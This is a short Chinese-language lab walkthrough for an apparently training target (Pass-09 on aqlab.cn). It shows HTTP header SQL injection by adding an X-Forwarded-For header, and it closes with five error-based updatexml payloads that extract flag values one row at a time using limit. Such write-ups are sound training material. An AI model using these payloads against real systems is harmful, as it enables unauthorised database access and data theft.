head(一)
注入环境:http://inject2.lab.aqlab.cn:81/Pass-09/index.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
在平时上网冲浪中,我们经常去访问一起网站,比如我们经常访问的百度
但是面对越来越多的用户来访问,如果只有一台服务器,那么肯定会崩掉,
那么就有很多台服务器来处理这些请求,以此来满足用户的需求,
1、通过代理来找到离用户最近的服务器。
你提出请求 > 代理商(CDN)> 最近服务器处理你的请求并返回你想要的数据
服务器只会记录下代理商的ip,而不会记录下你的ip,这就会使得灭有你的ip
为了解决这一问题,X-Forwarded-For就出现了,用来记录你的ip,
然后代理商会在自己的数据包里加上X-Forwarded-For,
这就解决了服务器没有你的ip的问题
2、 负载均衡:A服务器负载满了,那就找一个闲置的服务器
head注入其实就是利用请求头里的数据替换与SQL的源码,从来实现SQL注入
这里我们可以用HTTP_X_FORWARDED_FOR 表示获取客户端的ip
(这里多说一句,这里的自定义函数是遇到匹配的函数就执行,并赋值给 ip这个变量)
但是我们截取到的数据包里却没有HTTP_X_FORWARDED_FOR,那我们怎么办?
既然没有,我们就加上
注:浏览器请求头统统都可以加
后面的步骤和head(一)一样,这里我就做最后一步。
获取字段值
注意这里因为是用updatexml函数报错输出我们想要的数据,但输出的内容有限,不能输出太多,准确来说应该是每每个输出有限,比如完整的是 qqqqq,wwwww 但可能输出就变成了qqq,www了
所有我们这里不能用group_concat函数一行输出了
这里我们用的是limit函数
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 3,1)),1),1)#
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 4,1)),1),1)#
就是一直替换limit前面的值,来查看所有字段值
就成功了